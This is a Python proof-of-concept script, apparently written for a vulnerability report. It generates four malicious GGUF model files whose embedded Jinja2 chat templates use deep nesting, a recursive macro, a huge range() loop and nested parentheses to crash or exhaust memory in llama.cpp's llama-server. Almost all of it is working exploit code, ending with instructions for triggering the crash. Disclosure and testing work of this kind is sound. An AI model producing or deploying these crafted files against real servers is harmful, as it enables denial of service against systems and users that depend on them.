| |
| """ |
| PoC: Stack Overflow in Jinja2 Template Parser via Deeply Nested GGUF Chat Template |
| |
| The llama.cpp Jinja2 template parser uses recursive descent with NO recursion |
| depth limit. A GGUF file with a deeply nested chat_template causes stack overflow |
| (SIGSEGV) when the model is loaded, crashing llama-server immediately. |
| |
| CWE-674: Uncontrolled Recursion |
| """ |
|
|
| import struct |
| import sys |
|
|
| def create_gguf_with_template(filename, template_str): |
| """Create a GGUF v3 file with a chat template in metadata""" |
|
|
| data = b'' |
|
|
| |
| data += b'GGUF' |
| data += struct.pack('<I', 3) |
| data += struct.pack('<q', 0) |
| data += struct.pack('<q', 2) |
|
|
| |
| key1 = b'general.architecture' |
| val1 = b'llama' |
| data += struct.pack('<Q', len(key1)) + key1 |
| data += struct.pack('<i', 8) |
| data += struct.pack('<Q', len(val1)) + val1 |
|
|
| |
| key2 = b'tokenizer.chat_template' |
| val2 = template_str.encode('utf-8') |
| data += struct.pack('<Q', len(key2)) + key2 |
| data += struct.pack('<i', 8) |
| data += struct.pack('<Q', len(val2)) + val2 |
|
|
| with open(filename, 'wb') as f: |
| f.write(data) |
|
|
| print(f"[+] Created {filename} ({len(data)} bytes)") |
| print(f" Template size: {len(val2)} bytes") |
| return filename |
|
|
|
|
| |
| |
| def poc_parser_stack_overflow(depth=50000): |
| """Deep {% if %}{% endif %} nesting exhausts parser stack""" |
| template = "{% if true %}" * depth + "PAYLOAD" + "{% endif %}" * depth |
| filename = "poc_parser_stackoverflow.gguf" |
| create_gguf_with_template(filename, template) |
| print(f" Nesting depth: {depth}") |
| print(f" Expected: SIGSEGV at parse time (model load)") |
| return filename |
|
|
|
|
| |
| |
| def poc_recursive_macro(depth=100000): |
| """Recursive macro exhausts runtime stack""" |
| template = ( |
| "{% macro bomb(n) %}" |
| "{% if n > 0 %}{{ bomb(n-1) }}{% endif %}" |
| "{% endmacro %}" |
| f"{{% for message in messages %}}" |
| f"{{{{ bomb({depth}) }}}}" |
| "{% endfor %}" |
| ) |
| filename = "poc_recursive_macro.gguf" |
| create_gguf_with_template(filename, template) |
| print(f" Recursion depth: {depth}") |
| print(f" Expected: SIGSEGV at render time (first chat request)") |
| return filename |
|
|
|
|
| |
| |
| def poc_range_oom(): |
| """range() with huge argument causes OOM""" |
| template = ( |
| "{% for message in messages %}" |
| "{% for i in range(999999999) %}{{ i }}{% endfor %}" |
| "{% endfor %}" |
| ) |
| filename = "poc_range_oom.gguf" |
| create_gguf_with_template(filename, template) |
| print(f" Expected: OOM kill or hang at render time") |
| return filename |
|
|
|
|
| |
| |
| def poc_expression_nesting(depth=50000): |
| """Deeply nested expressions: (((((...))))) """ |
| template = "{{ " + "(" * depth + "1" + ")" * depth + " }}" |
| filename = "poc_expr_nesting.gguf" |
| create_gguf_with_template(filename, template) |
| print(f" Expression depth: {depth}") |
| print(f" Expected: SIGSEGV at parse time") |
| return filename |
|
|
|
|
| if __name__ == '__main__': |
| print("=" * 60) |
| print("Jinja2 Template Parser DoS PoC Generator") |
| print("Target: ggml-org/llama.cpp") |
| print("=" * 60) |
| print() |
|
|
| poc_parser_stack_overflow() |
| print() |
| poc_recursive_macro() |
| print() |
| poc_range_oom() |
| print() |
| poc_expression_nesting() |
|
|
| print() |
| print("=" * 60) |
| print("Test with:") |
| print(" llama-server -m poc_parser_stackoverflow.gguf") |
| print(" # Expected: SIGSEGV (stack overflow in parser)") |
| print("=" * 60) |
|
|